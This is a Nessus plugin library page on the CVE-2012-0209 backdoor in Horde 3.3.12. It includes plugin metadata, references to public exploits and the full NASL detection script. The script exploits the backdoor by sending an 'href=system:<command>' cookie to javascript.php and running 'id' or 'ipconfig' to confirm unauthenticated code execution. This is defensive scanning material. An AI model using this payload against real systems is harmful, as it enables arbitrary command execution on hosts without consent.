Horde 3.3.12 open_calendar.js Backdoor - Nessus

High   Plugin ID: 58010

This page contains detailed information about the Horde 3.3.12 open_calendar.js Backdoor Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 58010
Name: Horde 3.3.12 open_calendar.js Backdoor
Filename: horde_open_calendar_backdoor.nasl
Vulnerability Published: 2012-02-13
This Plugin Published: 2012-02-17
Last Modification Time: 2022-04-11
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: horde_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/horde

Vulnerability Information


Severity: High
Vulnerability Published: 2012-02-13
Patch Published: 2012-02-13
CVE [?]: CVE-2012-0209
CPE [?]: cpe:/a:horde:horde_application_framework

Synopsis

A web application hosted on the remote host has a code execution vulnerability.

Description

A backdoored Horde release was detected on the remote host. The Horde FTP server was compromised, and backdoor code was added to allow arbitrary PHP execution. The backdoor reportedly was present in versions of Horde 3.3.12 downloaded between November 15, 2011 and February 7, 2012.

A remote, unauthenticated attacker could exploit this to execute arbitrary PHP.

Solution

Reinstall one of the clean software packages referenced in the Horde advisory for CVE-2012-0209.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Horde 3.3.12 open_calendar.js Backdoor vulnerability:

  1. Metasploit: exploit/multi/http/horde_href_backdoor
    [Horde 3.3.12 Backdoor Arbitrary PHP Code Execution]
  2. Exploit-DB: exploits/linux/remote/18492.rb
    [EDB-18492: Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit)]
  3. D2 Elliot: horde_rce.html
    [Horde RCE]
  4. Immunity Canvas: White_Phosphorus

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the horde_open_calendar_backdoor.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(58010);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-0209");
  script_bugtraq_id(51989);
  script_xref(name:"EDB-ID", value:"18492");

  script_name(english:"Horde 3.3.12 open_calendar.js Backdoor");

  script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote host has a code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"A backdoored Horde release was detected on the remote host.  The
Horde FTP server was compromised, and backdoor code was added to allow
arbitrary PHP execution.  The backdoor reportedly was present in
versions of Horde 3.3.12 downloaded between November 15, 2011 and
February 7, 2012.

A remote, unauthenticated attacker could exploit this to execute
arbitrary PHP.");
  # https://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fc71ca54");
  script_set_attribute(attribute:"see_also", value:"https://lists.horde.org/archives/announce/2012/000751.html");
  script_set_attribute(attribute:"solution", value:
"Reinstall one of the clean software packages referenced in the Horde
advisory for CVE-2012-0209.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Horde RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"White_Phosphorus");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/02/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/02/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/02/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:horde:horde_application_framework");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("horde_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/horde");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);
install = get_install_from_kb(appname:'horde', port:port, exit_on_fail:TRUE);

# make an educated guess about which command to run,
# unless paranoid or unable to fingerprint the OS
if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
    cmds = make_list('ipconfig');
  else
    cmds = make_list('id');
}
else cmds = make_list('id', 'ipconfig');

cmd_pats['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';
cmd_pats['ipconfig'] = 'Windows IP Configuration';
url = install['dir'] + '/services/javascript.php';
postdata = 'app=horde&file=open_calendar.js';
php_func = 'system';
enable_cookiejar();

foreach cmd (cmds)
{
  clear_cookiejar();
  set_http_cookie(name:'href', value:php_func + ':' + cmd);
  res = http_send_recv3(
    method:'POST',
    item:url,
    port:port,
    data:postdata,
    content_type:'application/x-www-form-urlencoded',
    exit_on_fail:TRUE
  );

  if (output = egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      report =
        '\nNessus executed "' + cmd + '" by sending the following request :\n\n' +
        chomp(http_last_sent_request()) + '\n';

      if (report_verbosity > 1)
      {
        output = strstr(res[2], output);
        rest = strstr(output, "';");
        output -= rest;

        # strip out the leading part of the line which doesn't contain the command output (*nix)
        match = eregmatch(string:output, pattern:"link\.href = '#(.+)$");
        if (!isnull(match))
          output = match[1] + '\n';
        output = data_protection::sanitize_uid(output:output);
        report += '\nWhich resulted in the following output :\n\n' + output;
      }

      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}

exit(0, 'The Horde install at ' + build_url(qs:install['dir'], port:port) + ' is not affected.');

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/horde_open_calendar_backdoor.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\horde_open_calendar_backdoor.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/horde_open_calendar_backdoor.nasl

Go back to menu.

How to Run


Here is how to run the Horde 3.3.12 open_calendar.js Backdoor as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Horde 3.3.12 open_calendar.js Backdoor plugin ID 58010.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl horde_open_calendar_backdoor.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a horde_open_calendar_backdoor.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - horde_open_calendar_backdoor.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state horde_open_calendar_backdoor.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 21164 - Horde Help Viewer Arbitrary Code Execution
  • 35554 - Horde Horde_Image::factory driver Argument Local File Inclusion
  • 125928 - Debian DLA-1822-1 : php-horde-form security update
  • 132058 - Debian DLA-2033-1 : php-horde security update
  • 135497 - Debian DLA-2174-1 : php-horde-data security update
  • 140051 - Debian DLA-2352-1 : php-horde-gollem security update
  • 146700 - Debian DLA-2564-1 : php-horde-text-filter security update
  • 86713 - Debian DSA-3391-1 : php-horde - security update
  • 126127 - Debian DSA-4468-1 : php-horde-form - security update
  • 47390 - Fedora 11 : horde-3.3.6-1.fc11 (2010-5483)
  • 47395 - Fedora 12 : horde-3.3.6-1.fc12 (2010-5520)
  • 47404 - Fedora 13 : horde-3.3.6-1.fc13 (2010-5563)
  • 133701 - Fedora 30 : php-horde-Horde-Data (2020-0248ad925e)
  • 133702 - Fedora 31 : php-horde-Horde-Data (2020-1e7cc91d55)
  • 21406 - FreeBSD : horde -- remote code execution vulnerability in the help viewer (2db97aa6-be81-11da-9b82-0050bf27ba24)
  • 21195 - GLSA-200604-02 : Horde Application Framework: Remote code execution
  • 40961 - GLSA-200909-14 : Horde: Multiple vulnerabilities
  • 39985 - openSUSE Security Update : horde (horde-657)
  • 44607 - openSUSE Security Update : horde (horde-1947)
  • 36005 - openSUSE 10 Security Update : horde (horde-6099)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file horde_open_calendar_backdoor.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.